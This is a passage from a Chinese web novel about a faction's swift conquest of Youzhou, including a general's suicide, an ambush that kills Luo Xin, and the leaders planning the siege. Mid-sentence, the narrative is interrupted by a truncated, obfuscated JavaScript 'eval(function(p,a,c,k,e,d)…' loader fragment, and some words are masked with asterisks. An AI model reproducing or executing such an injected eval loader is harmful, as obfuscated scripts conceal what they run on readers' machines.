“我来告诉白大哥是怎么回事,那是因为黜龙帮不光是看重拳头,还看重制度,看重人心,看重律法帮规,看重田野里的老百姓。”话到这里,一直冷静的张公慎终于有些激动起来。“我以前只是模模糊糊,现在跟着黜龙帮几年,到了今日,却终于晓得这个道理……白大哥!想干大事,你总得有些光明正大的东西!可罗术他真没有这个!他过于看重诡道,不走正道!” 白显规终于愕然,却是低头想了数息,方才勉力来驳:“便是你说的对,若能好生规劝他,静待时日……” “没有时日了。”张公慎提醒对方。“幽州军今日就亡了……罗术甚至都没意识到这一点,直接跑了!他太习惯做这种事情了,心里从没有大略,只是计较个人的得失,结果计较着计较着,反而什么都没了。” 白显规回头看了眼秦功的尸体,抿了下嘴,没有吭声。 “白大哥,请你降了吧。”张公慎拱手一礼,终于说出了这句话。“幽州必亡,罗术必亡,之前种种野心全是虚妄,根本不能成事……到了此时,不如为其余兄弟做个计较,须知道,此时还有五六处地方在抵抗,我专门来寻你,是因为我知道你若能降,他们也就能降。” 白显规再三沉默了下来,然后缓缓却又坚定摇头。 张公慎见状,几乎要开口劝对方如果不降就轻身而走,剩下的这些军士最多十一抽杀,多不能多,少不能少,不差对方一个……但话到嘴边,目光拂过自己的佩剑,到底是忍住了。 白显规也终于看着昔日的兄弟开口:“老张,你有你的路,我无话可说,甚至我现在也信你,你的路更对,但我只想问你一句话……便是注定不能成事,便是罗术本是个不成器的,可咱们十八骑聚在一起,多少年风雨义气,也都是虚妄无物吗?” 张公慎是个聪明人,他心里其实早有预感会有类似的话,而且他早就想到了无数的理由来给自己开脱,但真的临到此时,却还是情难自抑,一时泪流满面,而且无言以对。 二人对视片刻,随着白显规略显不耐的催促,张公慎转身上马离去,刚刚走了数十步,便闻得身后惊呼,然后便是哭喊……他想回头,却终究强忍着没有回头,反而打马缓缓出阵。 而待其出阵,不过片刻,这支幽州军在徐水以南最大的成建制残余力量,正式宣告了降服,其主将,也就是幽州军实际上的三号人物,罗术的副贰,燕云十八骑之首的白显规自戕身亡。 时间一点点过去,战场开始快速收尾。 事实证明,战争不是儿戏,哪怕是无趣至极的战争、是一边倒的战争、是过程极快的战争,也足够残忍。 徐水以南到鄚县周边,长二十里,宽三四十里的核心战场中,到处都是死亡和伤残。 莫忘了,这还没算上那些参与抵抗的幽州军……包括被黜龙军刻意放纵驱赶的那些幽州军……他们还要被以主动抵抗的理由十一抽杀。 这一点,张行已经对李定做出保证了。 但还没完,从徐水到滹沱河,长八十里,宽五十里的广义战场上,以及这个战场范围的更外围,整个河间三郡及其周边的百姓,很多人都被迫按照之前的经验主动离家以作躲避。 哪怕这场征伐最后被证明快到不可思议的地步,还是免不了失序与**,以及**带来的死亡、劫掠与焚烧。 时间来到傍晚,一身寻常铁裲裆,加上黜龙帮红色罩衣的罗信在一个路口勒马稍驻,然后努力来观察周边……坦诚说,罗信这一天过得极为艰难。 从半夜开始,自河间出发,先检查滹沱河上的浮桥……后来证明被窦濡给断了; 然后去见到了齐红山……后来证明被黜龙帮杀了,而且悬首示众; 再然后去高阳城见到了岳父魏文达……后来证明高阳城被黜龙军轻易攻陷,而魏文达被三位宗师轻易迅速击败,生死不知; 再再然后去鄚县见到了父亲……后面证明鄚县也被攻陷,父亲则扔下大军,从狐狸淀逃走,而鄚县周边幽州军最后的主力步兵到了此时也应该早被黜龙军打到崩溃; 接着,他离开父亲,尝试去劝自己义父薛常雄及时抽身……他去的时候就知道这件事很难,但没想到这么难,走到距离河间城还有七八里的时候就遇到了自行溃散的河间大营士兵,得知了河间大营整体全部崩溃的消息,再走到河间,又被薛氏兄弟告知,他们亲眼看到金刀在滹沱河对岸破碎了; 这还没完,晓得河间已经没法立足的他想要赶紧离开,却还是遭遇到了突袭——想想就知道了,河间大营那么多将领在知道局势已经无救,只能倒向黜龙帮的同时,偏偏部队又全部溃散了,怎么可能没几个人觉得罗信奇货可居,准备试一试呢? 只能说,罗信委实是个修行与武艺上的好手,之前两次撞上白有思是他倒霉,今日遇到秦宝,也不过是回马枪偷袭失败,后来挨了两锏导致负伤,更多的是因为黜龙帮的踏白骑质量和数量都过于离谱了。 而对上河间军的一名成丹高手,外加一名凝丹辅助,只是刚刚步入成丹的罗信在受伤外加疲敝、沮丧的情况下,还是成功震慑对方逃了出来。 还没完,逃出来以后,罗信本想顺着狐狸淀的旧路逃走,结果远远便看到一面紫色大旗在狐狸淀上盘旋。 没错,黜龙帮的人也不傻,在意识到大旗下很可能是假的罗术后,跟鄚县一河之隔的狐狸淀自然成为了率先赶到的雄伯南第一搜寻目标……只不过,雄伯南也不晓得罗术逃得那么坚定、那么早,那么大一个幽州总管,毫不犹豫就走了! 但也阴差阳错,断了罗信从战场东面逃窜的路线。 无奈何下,罗信只能掉头往南,从河间附近冒险腾跃过河,然后便不敢再暴露修为,只杀了几名巡逻的军法营骑士,抢了一匹马,换上了铁裲裆与红罩衣,吃了人家的饼子,喝了河水,便一路向西,然后向北……乃是要从战场的西侧绕过去。 到了此时,罗信站在的路口,正是鄚县以西三十余里的一处路口。 他现在犹疑的地方在于,是继续往前还是往西拐。 往西拐,自然不用多言,就是继续绕路,绕到徐水和徐水支流满水更上游去,避免腾跃渡河吸引到黜龙帮高手的注意……但这样太浪费时间,很可能要多花一整天的时间。 而继续往前呢,当然是近路,但不好走。 首先是满水,满水是徐水的支流,几乎跟徐水主干平行,但相较于鄚县身后的主干更窄、水流更少,然后是没有满水注入的徐水,相较于下游也窄……甚至两条河的很多地方都是滩涂和芦苇荡,很多河段没有像样河堤与河道。 但无论是满水还是徐水,有多窄,是不是滩涂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说是泅渡,其实罗信看到的这片浅滩倒还真能走过去,水线只到腰,但下面更多的是淤泥,偶尔还有泥坑,但好在有高大的战马可以依靠,好几次都扶着马**过去了……这个时候,罗信只能庆幸自己脱了甲胄,否则以他现在的状态,万一着甲陷进去,便是有真气怕也难蹬上来。 走了一半,也就是快到河中央的时候,这位幽州之主唯一的继承人忽然察觉到了一些动静,夕阳之下,满水北岸近处的道路上,明显有一队人自下游往上来,而且越来越近。 罗信身在河中,到底是河岸稍显崎岖高迭,所以看不到来人,便晓得,对方肯定也看不到自己……而他现在有两个选择,一个是藏在河里不动,等对方离开,再行渡河,到时候已经天黑,完全可以厮混过去;另一个是立即以战马为借力点,即刻拼着残存的些许真气,努力腾跃起来,奋力逃走。 这一次的纠结并没有持续太久,因为罗信很清楚自己的身体状况,他太累了,还受了伤,而且一日夜耗费了太多真气,真要跳起来,也撑不了几次,而哪怕是吸引到一个黜龙帮的成丹高手,自己也落不到好的。 他甚至都有些怀疑,自己此时是否能真的跳起来。 然而,就在那支部队越来越近,似乎是要在这里拐弯向北去清苑的时候,本就在水流中不舒服的战马似乎受到惊吓,忽然嘶鸣了一声。 随即,一阵轻微骚动后,几名黜龙军骑士出现在北岸滩涂上,然后又是一阵骚动后,一名年轻骑士越众而出,立在河堤上,隔着大几十步的距离来喊: “兄弟是哪一营的?” 罗信僵硬着身体,勉力催动马匹继续向北,同时低头来答:“柳头领军法营的,要渡河去北面清苑,刚刚听到你们动静,还以为是幽州兵马,不敢出声……简直吓**了。” “你去清苑何事?”更多骑士涌上来,也有步卒出现,为首骑士继续来问,其人言语中胸前似乎有鲸骨牌晃动,腰中也配剑,俨然是个军官。“为何只一人?” “清苑县令投降了,头领遣了我们一队人过去维持秩序,以防城内的衙役、城防劫掠,结果路上遇到一支幽州军溃军,打了一场,我贪战,追一个幽州骑兵追脱了路,瞅着天黑,现在要赶紧过去。”罗信继续缓缓向前,同时从容不迫,将刚刚站在河里想好的说辞交代了出来。“你们又是哪个营的?” “我们是苏睦头领营中的。”前方岸边骑兵首领继续笑道,却似乎是终于放下戒心了。“你还有心思问这个?身为军法营的军士,却自家误了军机,怕是罪加一等,这一战非但没有功勋,反而要倒转回去的……” “倒不至于。”罗信依旧从容。“我与那幽州贼作战受了伤,这可是做不得假……按照军律,受伤可减免误……” 话到这里,罗信脚下忽然一滑,乃是再度踩到淤泥,然后一个趔趄……这似乎倒也无妨,可是,借着这个趔趄,他目光划到自己身上衣服,则心中明显一惊。 无他,之前因为疲敝、惊骇、受伤,为了确保泅渡时不出岔子,他是把铁裲裆去了的,而去铁裲裆时外面的罩衣也自然去掉,再然后居然昏了头没有再穿上。 没有罩衣,反而是一套格外精细的丝制春日暗纹中衣,为何黜龙军不问? 其人惊愕抬头,却见之前跟自己搭话之人已经在夕阳下拔出了一把闪闪发光的宝剑来,然后朝着河中自己便是一挥: “放箭!” 箭矢**矢破空之声迭起,就在几十步有效破甲射程内,罗信心知中计,不顾周围一切,尽全力激发丹田,努力来成护体真气。 生死之间,居然瞬间成功。 但是下一刻,身侧战马哀嚎不断,伴着血水与污泥四溢就往罗信身上压来。 罗信心惊肉跳,赶紧尝试推开马身。 孰料,脚下一发力,居然陷入刚刚未拔出的淤泥中,再顺势一滑,下半身便被战马压在淤泥与河水之中,上身也倒,竟然当场呛了不少泥水血污。 岸上之人,也就是苏靖方了,看到对方护体真气闪现,心下一惊,但又看到这一幕,却是大喜过望,立即回头连续下令:“放箭!放箭!上**!上**!” 罗信大惊失色,憋着胸口剧痛,奋力抬起头来,同时脚下尽全力使出真气……结果断江真气在泥窝与马尸下涌出,却只将脚下搅的愈烂,陷的更深。 期间,早就数支**矢箭枝落在无甲的胸前肩膀,刺破稀薄的护体真气,钉入肉中。 而待罗信反应过来,摸到腰中马上一柄北地**,施展真气尝试将身前马尸割开时,忽然一箭带着真气射来,正中手臂,居然连刀都不能举。 接着又是一箭,射中肩窝靠后颈处,后背与脖颈再难发力硬挺,竟是上半身也跌入淤泥中,这下子连呼吸都难,遑论妥当真气逃生。 不过,罗信倒也没有受曹彻那种苦,只是乱箭齐着,便顷刻丧命。 借着最后一丝阳光看去,其人埋身马下,人马之血皆四下涌出,却又为水势所流,片刻不停,往下游而去。 苏靖方看了一会,着人砍了首级,又在河中洗刷干净,便也醒悟,这应该是幽州罗信丧于己手了……却不知明日见了秦宝是否尴尬? 就在此时,往东十余里地方,原本所在市镇的北侧,明显失修的徐水河堤之上,张行微微皱眉:“官道跟河堤都要修……但今年又不好征发劳役过度,怕是要等到秋后了。” “那也没办法了。”李定面无表情。 两人沉默了片刻,侧后方的牛河与下方的侯君束也不说话。 随即,李四终于是忍耐不住,将之前藏在心里的一个问题问了出来:“张三,之前薛常雄过河来,后来又说是无了,你都能与牛公一起察觉,莫不是已经到了宗师?” “应该没有。”张行蹙眉望北。“只是上次落龙滩之战,东夷那位大都督借我的身体传导真气呼起分山君后,便对这些顶尖高手的行动与天象变化多了些感触而已……但也要看地方,比如今日,滹沱河这边、我们战线后方的情境我就能感知的清楚些,其余就不行。” 李定点点头,没有吭声。 倒是张行,此时被提到这个话题,也有些无奈,复又摊手来言:“我现在连观想什么都没头绪,何谈宗师?” 李定再度点点头,而侧后方牛河想了一想,也插了句嘴:“其实,修为境界这个事情倒不一定是要按部就班的,说不得张首席不是寻常宗师路数,而是地盘大了,有地气加持,有了一地之主宗师的恢廓……” “是听过这个说法。”张行精神一振。“不过这么说也有些对不上的地方,因为真要是说什么地气,什么一地之主,我分明是去年底开了会才念头便通达起来的,而这个感触在落龙滩就有了。” “何止是时间对不上?”李定依旧蹙眉以对。“地盘也对不上。之前黜龙帮已经取了东境、淮北,地域这般大,也没见你有什么地气加持?如今河北不过占了一半,另一半还未落袋,如何就能在河北地界上有了宗师的感触?” 轮到张行不吭声了……说到猜想,他自己猜想的极多,可若说到糊涂,他想不通的也不少。 河畔安静了片刻,过了一会,还是牛河摇起头来:“我也不晓得其中具体道理,不过,李四郎说地盘大便能成就,也不免臆想……不然当日圣人据有天下九分,立塔犹然自溃又怎么说呢?” “这倒是无话可说了。”李定嗤笑一声,似乎放弃了思考。 “至于张首席这里,古怪地方怕也不止一处,非要乱说,或许是首席心中执念在于河北也说不定。”牛河继续来说。“不过,最有可能的,应该还是黑帝点选的说法……黑帝爷那边的修行路数素来自成一体,真要是想弄清楚,怕是得到黑水畔的黑帝总观走一遭了。” 张行继续望着北面,点点头:“迟早要去的。” “打这么利索,这次能一路打到北地吗?”李定忽然来问。 张行晓得对方的意思,乃是问早间他张三想的事情可有头绪,取了河北全境后,到底是要进北地还是去晋北? “这个不好说吧?”就在这时,远远站在河堤下方的侯君束不晓得上方二人默契,便来插嘴。“按照现在的局势,咱们必然先要回身收拢河间……河间军自家是溃了不错,可反而要耗费我们许多兵力认真收拢起来,不然会让地方大坏;收拾好河间,再去幽州,可幽州地广城多,坐地虎就十几家,再细细收拾一番,估计就要过了夏日入秋了,到时候应该缓一缓,休整一下为好。至于说秋后再行出兵,也该去西北面处置,不好在冬日入北地的。” “侯头领大部分说的都还有道理,尤其是最后一句话。”李定点头认可。“看来北地这次是去不得了……按部就班来吧,先去河间。” 得到认可的侯君束精神明显一振。 “北地能不能去不晓得,但河间我就不去了。”张行终于回过头来。“我要先去幽州。” “这是什么话?”李定蹙眉以对。“你难道不晓得,此时大局已定,若是让幽州喘口气,说不得反而容易下手?” 侯君束先是一愣,随即听到李定这话,更是心中微动,似乎是意识到了什么。 “我晓得你的意思,罗术这个人有术无道,上位又晚,而幽州正如侯头领所言,地广城多,坐地虎也多,如今一败之下,我们缓一缓,他们反而会自我崩解。”张行不由负手失笑。“但不必了,没必要耗费时间,直接打幽州就好。” 轮到李定心中微动,然后意识到什么,就没再吭声。 但是侯君束反而没有绕出来:“可要是不等他们自行崩解而强取的话,恐怕得重兵压上,缓缓拔除幽州各城,层层剥入才行……这样的话,一样的耗费时间,不如留在河间稍作休整?” “不对。”张行摆手。“我的意思是,大部队留在河间这里,收拢败兵、接收地方,顺便稍作休整,只我跟牛公率八营兵马加上踏白骑,跟着对方败军北上……其中三营,就势占领固安、良乡和涿县,以确保通路,而我跟牛公率领其余五营加上踏白骑,直趋幽州城下,与河间地方两不耽误。” “五营兵马,连幽州城都围不住……”李定冷笑道,却似乎不是在驳斥。 “不要紧。”张行将目光转向侯君束,微笑道。“除了五营兵,不还有我吗?” 侯君束眼皮跳了一下,心中也跳了一下。 而牛河也点了下头。 虽然在场的几人都醒悟了过来,可暮色中,张行却依旧毫不知趣的指着自己鼻子继续说了下去:“我是黜龙帮首席,普天之下,只有我一人可以给幽州上下盘根错节的各类人做出承诺,他们也只信我一人。所以,我到幽州城下堵住罗术,非但不会耽误他们内部崩解,反而会加速此类事。到时候,主力在河间休整完,幽州也瓜熟蒂落,直接过去拿下便是……甚至,真要是顺利的话,我们都不必发主力北上,而是趁机分兵,扫荡代郡、恒山、上谷,届时一月内统一河北,岂不更加妥当?” 李定、牛河皆闭口不言,侯君束想拍马却不敢胡乱开口。 张行见状愈发大笑起来:“之前大家忧心我们行动太慢,不能速速统一河北,如今你们几个反而要嫌太快吗?” 就在这时,一道流光自北岸飞来,落在此处,却是面色不佳的白有思,其人落地后直接来言:“我按照市集留下的那几个老人言语,找到了之前你们驻扎市集百姓在徐水北面的躲藏处……他们遇到幽州军的溃兵,被掳掠走了,还留下十几具尸首。” 众人不由凛然。 隔了几息,李定忽然踢着脚下数年没有维护的河堤开了口:“那张首席就赶紧去幽州吧!” 第五十五章 千里行(9) 三月十四日,滹沱河-徐水一战结束后只隔了一日,稍微收拢汇集了一下兵力,黜龙帮首席张行便亲自兵发幽州。 兵力不多,张行为首,外加王叔勇、徐师仁、贾越、元宝存、王雄诞、张公慎、窦小娘、苏靖方八营,以及秦宝所领二百八十七骑准备将构成的踏白骑,还有马围带领的一整队五十名参军、三十名文书。 当然,大头领、宗师牛河随行,新降的侯君束也随行。 此外,张行还召唤了在邺城的封常、许敬祖两名分属文书部与军务部的高阶文书,让他们带着人即刻从邺城前来随军。 一同准备越过徐水的,还有李定为首,张十娘、刘黑榥、翟谦、冯端、房彦释、苏睦、韩二郎、常负、樊梨花等头领带领的另一部队集群。 他们的任务是协助张行攻下河间到幽州城下通道上的良乡、涿县、固安三城,然后就要转向西侧联合李定留在彼处的两个营,构成一个针对西线的重兵集团,控制原本要落袋的博陵之余,还要寻机对河北平原西北角的代郡、上谷、恒山三郡下手。 与此同时,张首席手书指令,以雄伯南-徐世英居鄚县,建立大营,执行军法,点算军功,追杀残余部众,管控、抽杀、接受俘虏,打扫徐水-滹沱河之间战场,并寻机支援北面张行、西面李定。 以单通海为首,组织一支五到六营为主的别动队,西进博陵,入恒山,与李定呼应,共同应对西线……二人以李定为主。 以白有思-窦立德-谢鸣鹤居河间,収降河间大营,检索河间大营将士兵丁名单,按照原定受降名单任命头领,分发职务,精选精锐,按照原定计划设置军管,协助邺城大行台进行地方接收与基层官吏的任用。 其中,县令、县尉以上的任命,要有河间白有思、窦立德、谢鸣鹤三人中一人以上推荐,再由邺城陈斌、魏玄定、柴孝和三位临时大行台总制合议后,通过监察部审查,最后由人事部发布任命。 有任命流程不畅者,随郡守、郎将、头领以上任命讯息,报首席张行决断。 完全可以说,张首席只是草草安排了一下身后,便径直率领黜龙军过了徐水,进入幽州地界。 三月十五,黜龙军便越过巨马水,同日夺得幽州第一座城,却不是预定三城,乃是偏西面在巨马水南岸、徐水北岸的遂城……他们根本就是被徐水南岸战斗与幽州溃军的望风而逃给震慑住,主动投降的。 三月十六,主动请战的黜龙军先锋刘黑榥沿着巨马水支流白沟极速北上,涿县城内的幽州军溃兵如惊弓之鸟,弃城而走,逃走时还因为与地方上的冲突引发**,让本有稳固城防的幽州南线门户、河北数得着的大城,轻易为黜龙军所夺。 三月十八,良乡与固安同时陷落,其中,良乡是投降,固安是负隅顽抗了两日,连着木质望楼与本地县令外加一名幽州军郎将被徐师仁一箭给射碎,然后三个营一起强攻打下。 而当日晚间,张首席便入驻良乡。 同时发布军令,以苏靖方守涿县,窦小娘守良乡,而张公慎守他曾经安家十数年的固安。 三月十九日,张行继续北进,逼近幽州城,却是按照之前的讨论,只带了五营兵,李定也同时发兵,则是按计划往西去了。 而到了这日下午,前后不过四五日而已,张行张首席来到了距离幽州城南的笼火小城。 “这是幽州城的卫城?”张行来到此地,稍一打量,便意识到了此城的意义。 “是,就好像韩陵城于邺城一般,也如金庸城如东都。”回答张行的是在河北半独立割据过数年的元宝存,其人言语轻松,捻须泰然。“这种一方之首府,城池一大,不好防御,就要设置一些犄角以作卫城,笼火城就是幽州城的卫城。” 坦诚说,很多人对元宝存能随行出征幽州而刘黑榥却只能随李定去西面是不解的,这人未见的什么战阵本事,但也有人猜到了原委,是要借这个人的资历与身份来做招降工作。 “确实。”王叔勇也插嘴道。“桑干水在幽州城南,笼火城与幽州城夹河而立,是标准的防守犄角。” “便是卫城,如今也被幽州人这般干脆弃了,可见是穷途末路了。”元宝存继续来笑道。 “我不是说这个。”张行摆手道。“我是想说,要是把笼火城算作幽州卫城的话,是不是有点远?咱们现在站在城头上,往北看,都看不到桑干水。” “是有点远。”马围蹙眉开口。“刚刚问过本地人,这里到幽州城有二十五里,中间还隔了一条挺宽的桑干水…据说…原本是前唐时一个县的县城,地方迁移乱了许久,城池却因为跟幽州城隔河呼应被留了下来,专来做卫城的。” “二十五里确实有点远了。”徐师仁也皱眉了。“作卫城有点远,当做出兵的大本营也有点远。” “若是首席准备压住罗术,对幽州其余各处攻心为上,屯在这里已经足够了。”元宝存认真来劝。 张行没有回答,而是往北面平原上去看,引得其余人也只好暂时闭嘴,一起去看……只见下午阳光下,这片幽州最精华之地遍地青绿,不过是一仗而已,庄稼就蹿了起来,而幽州这地方素来春日风多风大,风卷原野,绿浪滚滚,端是壮观。 但是,似乎也只有绿浪滚滚。 正看着呢,身后一阵嘈杂,回头去看,乃是士卒正尝试将张行那面沦为他私人旗帜的红底“黜”字旗立在这座本就是军事化城池的正中间高台上,但因为风太大,中间夯土台子上的设施又有些陈旧,再加上没有几个有修为的人来管这个,闹得有点麻烦。 张首席既看到了这一幕,自然不能放着不管,秦宝当仁不让,就要过去处置,侯君束也赶紧要下去帮忙。 “暂时不立旗。”就在这时,张行直接喊住了秦宝,然后转身与众人给出自己的态度。“天色还早,咱们打起旗号来往桑干水边上走走,看看幽州城,顺便找一找有没有更合适的地方……要是没有,就再回来,有的话就换,这地方离幽州确实有点远。” “首席说的对,既来之,自然要打个照面。”元宝存立即应和。 众人商议妥当,便留下贾越、王雄诞在笼火城不动,而张行打起旗号,领着几百骑而已,包括牛河在内的其余几位头领一起随同北上,往桑干河边上去眺望幽州城。 尚未抵达桑干河,景色便已经变了,因为前方火起。 来到桑干河南岸,更是看的清楚……原来,此地北岸几个渡口、村市,全被临时烧毁,河上本有数座浮桥,此时也尽数被幽州人主动烧毁,但有意思的是,居然有一座形制古朴、长达百步的三孔单拱大石桥留下没动。 “有意思。”张行远远看着这个石桥,不由失笑。“这是不舍得,来不及,还故意的?” “应该是不舍得或者来不及,咱们来的太快了,幽州兵逃得又散漫,而这桥据说是何稀何副分管恩师当年随大魏主力征讨幽州时建造的,幽州人十分敬爱,都唤作幽州桥。”马围正色道。“但要说故意,也有些道理……毕竟,有了石桥,咱们兵少,说不得就会不想造浮桥,可真要进军和退兵的时候,这个石桥就成要命的卡口了。” “有些李龙头用兵的痕迹了。”张行继续笑道。 这算是个玩笑,而众人也并无异色,甚至有几人附和。 且说,滹沱河-徐水这一战的具体战果还没送过来,影响也还没有完全展现出来,但无论如何都得承认,这一战过程极快,损耗极小,但规模极大,战果极大,影响也极大。 最明显的战果,当然是河间大营所领河北三大精华之郡完全易手,幽州主力半数以上覆灭。 完全可以说,这一战,基本上从军事角度扫平了黜龙帮统一河北的主要障碍。 借此影响,别的暂且不提,帮中上下对李定的认可程度是大大提高的……这就是军事人才的作用,就说没有李定那天晚上过来说的那句话,这一战有没有这么轻易吧?又会多死多少人吧? 按照张行前几日路上的吐槽,不消多,要是李定能再打两场这样的仗,他在帮内威望就能到前五了。 就这样,众人瞧过石桥,再去看河水,又来扫视河床与两岸地形,还去看对面城墙……时值下午,太阳照在桑干河上,金光粼粼,水流不止,却并不急促。两侧皆是青苗,河上河边又起烟火,北岸幽州军仓皇撤离,自是一番狼狈,唯独城上旌旗还算齐整,却又不见罗术的帅旗。 看了半晌,往自家所立的南岸一看,俨然是大旗滚滚,阳光普照——又一番景象了。 “这片河道这是最近被整修过?”看了半日,张行率先打破沉默,却是指着当面河水来问了个奇怪问题。 “必然如此。”马围打量了一下,立即回道。“应该是当护城河来用的。” “难得遇到一个知道整修河道的,却只是为了作护城河。”王五郎忍不住嘲笑。 “确实。”徐师仁瞅了眼周围的烟火,不由叹道。“这些立地的军阀,既不知制度,也不晓得律法,何况是民生?就桑干河两岸这片地,要是再能整备一些灌溉,便是哪里都比不上的乐土……可偏偏,只是修了护城河。” “幽州城也修的坚实。”元宝存也眯眼道,却又来看没怎么说话的牛河,转到了另一个话题上。“牛督……牛公,敢问一句,若是有宗师在此立塔,果真能抵抗三位宗师或者一位大宗师吗?” “按照道理是能勉强如此。”牛河的回复非常简单。 “按道理?” “自然。”牛河正色道。“按照道理来算,这就好像一个没有修为的人对另一个没有修为之人一般,似乎应该是平手,但实际上大家都晓得,一个人对一个人,十之**是能分出胜负的……有的人,一个能打十个,有的人连路边野狗都撕咬不开。” 这话通俗易懂,元宝存也恍然:“都是宗师,总有强弱,就好像凡人相对,也有强弱……那白总管既刺了一龙,又斩杀了两位宗师,是不是宗师里最强的?” 牛河摇摇头:“不晓得……” “不是。”张行接口道,同时继续望着河对岸。“宗师里最强的应该是司马正,三娘屡屡不能胜他。” 众人明显一滞。 马周忍不住叹气:“东都……东都!” 很显然是意识到了日后进取东都的艰难。 “想东都太远了,抛开司马正,宗师里三娘应该算是高出一截的。”张行笑道。“不过,即便如此,她怕是也没有元大头领想的那个本事……按照三娘自己所言,她在东夷杀钱支德的时候,是诱对方离开草关后动的手,当时就晓得,若钱支德留在草关,她根本没有能力拿下对方,最多是靠杀戮关内低阶修行军官来消磨。” 元宝存连连颔首:“原来如此,不过到底是幸甚,魏文达被咱们直接在河间扑下来了。” “崔傥还在。”马周皱眉提醒。 “马分管呀马分管。”元宝存捻须而笑。“我不晓得宗师,但却晓得崔傥……他这个人,在大魏压迫下忍了几十年,早就忍惯了、躲惯了,敢问他不能在清河立塔,如何在幽州立塔?要我说,现在去劝降,正是时机,便是不降,也十之**能跑。而且,咱们是与他交过手的,他一个文修,便是真有万一与我们开战,也手段有限。” 很显然,元宝存是在一如既往的强调眼前幽州城军事威胁很小,应该以**攻势为主。这当然是金玉良言,只不过只有以**攻势为主,他这个入帮不过一两年的降人才能发挥作用也是实话。 回到眼前的正事,众人也能意识到元宝存的意思,但几位领兵的头领却都没有反驳的意思。 一则,大家早就得了张首席言语,晓得就是要靠着施压来摧毁幽州的坐地虎们,幽州城和罗术只是个把手,真正的仗已经打完了; 二则,如今看是看了,聊是聊了,但眼瞅着一直到桑干河畔都没有立足之地似乎也是真的,真就是一马平川……几个村寨也被烧了,总不能过河去立营吧? 过河就有合适的地方吗? “河对岸有合适地方吗?”张行思索片刻,继续来问。 “有个地方,未必合适。”马围脱口道。“桑干河对岸上游,有一座渡口,唤作卢思渡,是顺着桑干河从晋北转运物资粮草的大渡,便是也烧了,必然也有像样的圩子……但那里距离幽州城也有二十里。” 众人愈发无话可说了。 “那就这样吧。”张行也没有再坚持。“秦宝……你带领踏白骑过桥绕城一周,以**吓,没有什么意外,咱们就回去,劝降事宜明日再说。” 于是乎,众人都不再言语……也没什么好言语的,都只立在河堤上,望着踏白骑来看,然后很快就又面色古怪起来。 原来,秦宝一马当先过了幽州桥,居然便起了他那怪异的雷系真气,而随后两百多踏白骑也都纷纷随从,将真气释放起来,而真气联结一片,自然是以秦宝那黑光为底色。 威风自然是威风,但刚刚流传开的外号踏白骑怕是要改成蹈黑骑了。 再一想,更加觉得古怪,这外号刚刚起来了,首席竟不需要亲自领兵冲阵了。 河对岸,夕阳下,秦宝耀武扬威,中途甚至借着胯下龙驹往城墙上一腾,虽然没有越过那高达五丈高的城墙去杀戮,但只是凌空一显,却也足够骇人了。 而过了好一阵子,临到天黑前,秦宝方才重新从幽州桥上回来了……没办法,幽州城太大了,不带护城河,周长三十余里。好在全程幽州城八门紧闭,无一兵一卒出战,甚至都没有一支箭矢射下来,这才能畅通无阻。 且这类武装侦查肯定是有效果的,秦宝就带来了一个有趣的消息。 “城西北有一座破败废弃的外城?”张行蹙眉以对。 “是,两三里宽,四五里长。”秦宝脱口而出,顺便指了下方向。“我原本以为是缺少兵力,幽州城太大,不好守,就弃了……但路过才发现,城内建筑明显有些失修,应该是废弃已久,这委实奇怪。” “那不是外城。”元宝存忽然插嘴解释。“秦大头领,恕我直言,那城内中心是否有一座大殿?” “有。”秦宝干脆利索。 “回禀首席,那是宫城。”元宝存转身朝张行笑道。 “大魏五都,没有幽州吧?”张行自然不解。 “是东齐行宫。”元宝存再度解释。“唤作临桑宫,齐亡后,也就是这幽州桥建起来以后,一度改为黑帝观,然后曹彻在位时又改回行宫,但他从未来过……到了此时,自然荒废。” “怪不得……”张首席这才恍然,复又来问秦宝。“能屯兵吗?” 其余人被这转折弄得目瞪口呆,元宝存更是惊愕,抢先来言:“首席何必冒险?大势已定,我们在笼火城安坐便可成事。” 张行不由来笑:“元公,我问你,若是大势已定,为什么到了行宫去屯驻就是冒险?” 元宝存一愣。 张行复又来问:“秦宝,城内如何?” “乱做一团。”秦宝应声道。“中间几次踩着城墙看了下,明显在抓壮丁、封街道,有兵刃的军士很多,但大多没有对应的旗帜……其实,就连城墙上的旗帜也只是插在了南面。” 张行点点头,继续来问:“那能屯兵吗,临桑宫?” “自然。”秦宝立即点头。“正经的宫城,如何不能屯?只是宫墙倒塌了几处,而且内接幽州城墙,从墙上可以直接跳下来,也能远远射箭。” “那倒无妨,让他们一箭之地便是。”张行再来看还在发懵的元宝存。“元公……既是要压迫幽州城,逼迫幽州全州上下来降,是不是压得越紧越好?勒到脖子最好?” 元宝存被直接问道,想了一想,只能苦笑:“道理是如此。” “马围。”张行继续来问。“能保证后勤路线吗?” “既是在城池西北,正好可以从上游卢思渡来转运物资。”马围立即作答,同时来笑。“但也不好说,路线在那里,也不晓得会不会有骑兵会过河来往笼火城方向骚扰……得两千骑才能有威胁吧?” “那我就在这幽州桥上堵住他们!”秦宝脱口而出。“届时莫说两千骑,两万骑也可!” “那就好……还有什么?”张行点点头,环视两边,最后来问一人。“牛公,不说军事,只说崔傥领着城内高手来袭,你能护我吗?” 牛河想了一想,认真来言:“崔傥当然可以挡,只是不晓得城内现在还有多少凝丹以上高手?成丹呢?” 张行没有吭声。 “整个幽州还有十来个吧!”一直没有开口的侯君束忽然开口。“城内就不知道了……成丹的,整个幽州应该只有罗术本人和赵八柱,外加一个文修卢思道了,而赵八柱不是说受了重伤吗?” “卢思道跟卢思渡什么关系?”张行好奇来问。 “卢思道原名卢思,卢思渡是他在东齐做官时修的渡口……早年间此人恃才傲物,不可一世,从不讳言卢思渡的功绩,后来经历乱事,性情大变,隐居在家做了道士,只是皓首穷经,复又觉得自己贪天之功,便改名叫做卢思道,如今应该不在城内,在也不会与我们动手的。”元宝存对河北这些掌故确实有独到之处。 “那应该就无妨了。”王叔勇有些不耐道。“幽州之前倾巢而出,没出战的,应该都不会此时出战,而那几个逃将明显也不是往幽州城这里逃,而是吓破胆后各回各家了,所以首席才说要压迫他们来降。” 其余人都无言语,便是元宝存都沉默了,因为细细一算,似乎确实可行。 倒是张行反而幽幽一叹:“幽州真是人才辈出。” 周围人只觉得这位首席思想跳跃。 